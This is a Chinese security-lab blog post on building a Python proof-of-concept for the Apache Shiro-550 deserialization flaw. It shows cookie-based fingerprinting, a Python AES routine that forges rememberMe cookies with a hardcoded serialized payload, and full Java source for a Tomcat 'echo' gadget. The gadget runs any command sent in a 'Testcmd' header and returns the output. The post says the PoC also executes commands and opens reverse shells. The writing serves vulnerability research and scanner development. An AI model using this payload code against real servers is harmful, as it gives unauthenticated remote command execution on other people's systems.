作者:w7ay @ 知道創宇404實驗室
時間:2020年8月11日
深刻認識到不會java搞這類poc的困難,只能做一個無情的搬磚機器。
目標是編寫Pocsuite3 python版本的Shiro-550 PoC,最好不要依賴其他東西。
本文沒有新奇的觀點,只是記錄日常 =_=
Shiro識別
看到@pmiaowu開源的burp shiro檢測插件 https://github.com/pmiaowu/BurpShiroPassiveScan

看了下源碼,主要有三種判斷方式
- 原始cookie key帶了rememberMe
- 原始請求返回cookie中value帶有deleteMe
- 以上條件都不滿足時,發送cookie
rememberMe=1
檢測Shiro key
l1nk3r師傅 的 基于原生shiro框架 檢測方法
簡述下如何不依賴java環境來檢測poc。
import org.apache.shiro.subject.SimplePrincipalCollection;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class ss1 {
public static void main(String args[]) throws IOException {
System.out.println("Hellow ");
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();
}
}
可得到生成的反序列二進制payload(最好使用jdk6來編譯,能夠兼容之后的版本)
b'\xac\xed\x00\x05sr\x002org.apache.shiro.subject.SimplePrincipalCollection\xa8\x7fX%\xc6\xa3\x08J\x03\x00\x01L\x00\x0frealmPrincipalst\x00\x0fLjava/util/Map;xppw\x01\x00x'
將這段payload內置到poc里即可。
通過python函數生成最終檢測payload
def generator2(key, bb: bytes):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(bb)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
其中key是shiro需要檢測的key,bb是生成的payload,當key正確時,不會返回deleteMe


回顯payload
一開始看的是寬字節安全的burp插件:https://github.com/potats0/shiroPoc
但在本地環境下測試沒有成功,之后猜測可能是gadgets或java版本的問題
看他的exploitType代碼

類似于java的匯編代碼?確認過眼神是看不懂的。
然后在GitHub上找到一個開源的exp https://github.com/Ares-X/shiro-exploit/blob/master/shiro.py
它將gadget base64之后硬編碼到了python中,正好符合我的需求。

經過測試用CommonsCollections1就可以在我本地環境復現了。
到這里就可以寫poc了,但我還想看看這些硬編碼的payload是怎么來的。
更細節
那些硬編碼的文件是反序列化的文件,我想找到Tomcat的通用回顯的源碼。@longofo告訴我可以通過CA FE BA BE(cafebaby)來確定class的特征,將它和后面的數據保存為class文件。

然后拖到idea反編譯后就能看到源碼了
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
public class FooDDl2ZFf8Y extends AbstractTranslet {
private static void writeBody(Object var0, byte[] var1) throws Exception {
Object var2;
Class var3;
try {
var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
var2 = var3.newInstance();
var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length));
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
} catch (NoSuchMethodException var5) {
var3 = Class.forName("java.nio.ByteBuffer");
var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);
var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);
}
}
private static Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while(var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
public FooDDl2ZFf8Y() throws Exception {
boolean var4 = false;
Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");
for(int var6 = 0; var6 < var5.length; ++var6) {
Thread var7 = var5[var6];
if (var7 != null) {
String var3 = var7.getName();
if (!var3.contains("exec") && var3.contains("http")) {
Object var1 = getFV(var7, "target");
if (var1 instanceof Runnable) {
try {
var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
} catch (Exception var13) {
continue;
}
List var9 = (List)getFV(var1, "processors");
for(int var10 = 0; var10 < var9.size(); ++var10) {
Object var11 = var9.get(var10);
var1 = getFV(var11, "req");
Object var2 = var1.getClass().getMethod("getResponse").invoke(var1);
var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho");
if (var3 != null && !var3.isEmpty()) {
var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3);
var4 = true;
}
var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testcmd");
if (var3 != null && !var3.isEmpty()) {
var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3};
writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
var4 = true;
}
if ((var3 == null || var3.isEmpty()) && var4) {
writeBody(var2, System.getProperties().toString().getBytes());
}
if (var4) {
break;
}
}
if (var4) {
break;
}
}
}
}
}
}
}
就算解出了源碼,看的也不是太懂,可能是根據java的各種魔法來實現的吧 - = 于是就轉而開始寫poc了。
沒想到寫完poc的第二天,xray的作者就給出檢測細節和源碼。
通過比對源碼:https://github.com/frohoff/ysoserial/compare/master...zema1:master
可以找到tomcat的全版本回顯的payload
public static Object createTemplatesTomcatEcho() throws Exception {
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
return createTemplatesImplEcho(
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImplEcho(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
// Tomcat 全版本 payload,測試通過 tomcat6,7,8,9
// 給請求添加 Testecho: 123,將在響應 header 看到 Testecho: 123,可以用與可靠漏洞的漏洞檢測
// 給請求添加 Testcmd: id 會執行 id 命令并將回顯寫在響應 body 中
public static <T> T createTemplatesImplEcho(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz;
clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime());
if (clazz.getDeclaredConstructors().length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addMethod(CtMethod.make("private static void writeBody(Object resp, byte[] bs) throws Exception {\n" +
" Object o;\n" +
" Class clazz;\n" +
" try {\n" +
" clazz = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" +
" o = clazz.newInstance();\n" +
" clazz.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
" } catch (ClassNotFoundException e) {\n" +
" clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
" o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
" } catch (NoSuchMethodException e) {\n" +
" clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +
" o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +
" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +
" }\n" +
"}", clazz));
clazz.addMethod(CtMethod.make("private static Object getFV(Object o, String s) throws Exception {\n" +
" java.lang.reflect.Field f = null;\n" +
" Class clazz = o.getClass();\n" +
" while (clazz != Object.class) {\n" +
" try {\n" +
" f = clazz.getDeclaredField(s);\n" +
" break;\n" +
" } catch (NoSuchFieldException e) {\n" +
" clazz = clazz.getSuperclass();\n" +
" }\n" +
" }\n" +
" if (f == null) {\n" +
" throw new NoSuchFieldException(s);\n" +
" }\n" +
" f.setAccessible(true);\n" +
" return f.get(o);\n" +
"}\n", clazz));
clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {\n" +
" Object o;\n" +
" Object resp;\n" +
" String s;\n" +
" boolean done = false;\n" +
" Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" +
" for (int i = 0; i < ts.length; i++) {\n" +
" Thread t = ts[i];\n" +
" if (t == null) {\n" +
" continue;\n" +
" }\n" +
" s = t.getName();\n" +
" if (!s.contains(\"exec\") && s.contains(\"http\")) {\n" +
" o = getFV(t, \"target\");\n" +
" if (!(o instanceof Runnable)) {\n" +
" continue;\n" +
" }\n" +
"\n" +
" try {\n" +
" o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n" +
" } catch (Exception e) {\n" +
" continue;\n" +
" }\n" +
"\n" +
" java.util.List ps = (java.util.List) getFV(o, \"processors\");\n" +
" for (int j = 0; j < ps.size(); j++) {\n" +
" Object p = ps.get(j);\n" +
" o = getFV(p, \"req\");\n" +
" resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n" +
" s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testecho\"});\n" +
" if (s != null && !s.isEmpty()) {\n" +
" resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +
" resp.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(resp, new Object[]{\"Testecho\", s});\n" +
" done = true;\n" +
" }\n" +
" s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testcmd\"});\n" +
" if (s != null && !s.isEmpty()) {\n" +
" resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +
" String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", s} : new String[]{\"/bin/sh\", \"-c\", s};\n" +
" writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes());\n" +
" done = true;\n" +
" }\n" +
" if ((s == null || s.isEmpty()) && done) {\n" +
" writeBody(resp, System.getProperties().toString().getBytes());\n" +
" }\n" +
"\n" +
" if (done) {\n" +
" break;\n" +
" }\n" +
" }\n" +
" if (done) {\n" +
" break;\n" +
" }\n" +
" }\n" +
" }\n" +
"}", clazz));
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
classBytes,
// classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
至于為什么要那么寫,可能也是因為某種魔法,我暫時還不明白。
和一些特別的鏈
ysoserial 中的
CommonsCollections4只能用于 CC4.0 版本,我把這個利用鏈進行了改進使其支持了 CC3 和 CC4 兩個版本,形成了上面說的 K1/K2 兩條鏈,這兩條鏈就是我們處理 Shiro 這個環境的秘密武器。經過這些準備,我們已經從手無縛雞之力的書生變為了身法矯健的少林武僧,可以直擊敵方咽喉,一舉拿下目標。萬事具備,只欠東風。
PoC演示
一路下來迷迷糊糊啥也不明白真實太菜了,只能在一些大佬的肩膀上搬搬磚這樣子了。
PoC集成了識別,檢測key,命令執行回顯以及shell反彈的操作。
檢測識別key

攻擊模式執行任意命令

shell反連

最后也順便給w13scan - 被動掃描器增加了一份Shiro插件。

感謝看完全程,不說了,學習java去。

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1290/